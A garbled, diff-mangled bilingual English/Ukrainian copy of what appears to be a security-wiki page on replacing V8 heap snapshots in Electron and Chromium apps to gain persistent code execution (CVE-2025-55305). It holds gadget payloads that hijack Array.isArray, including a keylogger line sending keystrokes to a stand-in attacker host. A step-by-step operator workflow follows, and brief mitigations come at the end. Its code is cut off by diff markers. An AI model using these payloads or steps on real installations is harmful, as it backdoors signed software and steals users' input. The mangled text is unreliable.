Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electrons integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR. Electron and Chromium-based apps десеріалізують заздалегідь зібраний V8 heap snapshot під час старту (v8_context_snapshot.bin, а опційно browser_v8_context_snapshot.bin), щоб ініціалізувати кожен V8 isolate (main, preload, renderer). Історично integrity fuses Electron не розглядали ці snapshots як виконуваний вміст, тож вони уникали як fuse-based enforcement цілісності, так і перевірок підпису коду ОС. У результаті заміна snapshot у встановленні, доступному для запису користувача, забезпечувала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
Ключові моменти Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar перевіряють JavaScript додатка всередині ASAR, але вони не охоплювали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не виконує integrity-check snapshots.
- Attack preconditions: Локальний запис файлів у директорію інсталяції програми. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з обмеженнями на macOS). - Attack preconditions: Local file write into the apps installation directory. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи, доступні для запису користувача (наприклад, %AppData%\Local на Windows; /Applications з оговорками на macOS).
- Effect: Надійне виконання attacker JavaScript в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дає можливість персистенції та обходу перевірки підпису коду. - Effect: Надійне виконання JavaScript зловмисника в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє персистентність і уникнення перевірки підпису коду.
- Affected surface: Electron apps (навіть з увімкненими fuses) та браузери на базі Chromium, які завантажують snapshots з локацій доступних для запису користувачем. - Affected surface: Electron apps (навіть із увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з місць, доступних для запису користувача.
Генерація зловмисного snapshot без збірки Chromium Generating a malicious snapshot without building Chromium
- Використайте попередньо зібраний electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin програми. - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash) Example minimal payload (prove execution by forcing a crash)
```js ```js
@ -463,10 +486,10 @@ throw new Error("testing isArray gadget");
}; };
``` ```
Isolate-aware payload routing (run different code in main vs. renderer) Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Глобальні змінні, притаманні лише Node (наприклад process.pid, process.binding(), process.dlopen), присутні в ізоляції main process. - Main process detection: У ізоляції main process присутні Node-only globals, такі як process.pid, process.binding(), або process.dlopen.
- Browser/renderer detection: Глобальні змінні, притаманні лише браузеру (наприклад alert), доступні під час виконання в контексті документа. - Browser/renderer detection: Browser-only globals, такі як alert, доступні під час виконання в контексті документа.
Приклад gadget, який одноразово перевіряє можливості Node у main-process Приклад gadget'а, який одноразово перевіряє можливості Node у main-process
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
@ -519,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments); return orig(...arguments);
}; };
``` ```
Робочий процес оператора Операційний робочий процес
1) Напишіть payload.js, який перезаписує загальну вбудовану функцію (наприклад, Array.isArray) і, за потреби, розгалужується по isolate. 1) Напишіть payload.js, який перезаписує загальний builtin (наприклад, Array.isArray) і, за бажанням, гілкується за isolate.
2) Зберіть snapshot без джерел Chromium: 2) Створіть snapshot без вихідників Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Перезапишіть файл(и) snapshot цільового застосунку: 3) Перезапишіть файл(и) snapshot цільового додатка:
- v8_context_snapshot.bin (завжди використовується) - v8_context_snapshot.bin (завжди використовується)
- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot) - browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot)
4) Запустіть застосунок; гаджет виконується щоразу, коли використовується обрана вбудована функція. 4) Запустіть додаток; гаджет виконується щоразу, коли використовується обраний builtin.
Примітки та зауваження Нотатки та зауваження
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls. - Integrity/signature bypass: Файли snapshot не розглядаються як нативні виконувані файли під час перевірок code-signing і (історично) не покривалися fuses Electron або контролями цілісності Chromium.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. - Persistence: Замiна snapshot у встановленні, доступному для запису користувачем, зазвичай переживає перезапуски додатку і виглядає як підписаний, легітимний додаток.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. - Chromium browsers: Такий самий підхід до підтасовування застосовується до Chrome/похідних, встановлених у місцях з правами запису для користувача. Chrome має інші механізми захисту цілісності, але явно виключає фізично локальні атаки зі своєї моделі загроз.
Виявлення і пом'якшення Виявлення та пом’якшення
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). - Розглядати snapshot як виконуваний вміст і включити їх у забезпечення цілісності (виправлення CVE-2025-55305).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. - Віддавати перевагу місцям встановлення з правами запису лише для admin; створити базові значення та моніторити хеші для v8_context_snapshot.bin і browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. - Виявляти раннє перезаписування builtin під час раннього виконання та несподівані зміни snapshot; сигналізувати, коли десеріалізовані snapshot не відповідають очікуваним значенням.
## **References** ## **Посилання**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +576,6 @@ return orig(...arguments);
- [Loki C2](https://github.com/boku7/Loki/) - [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)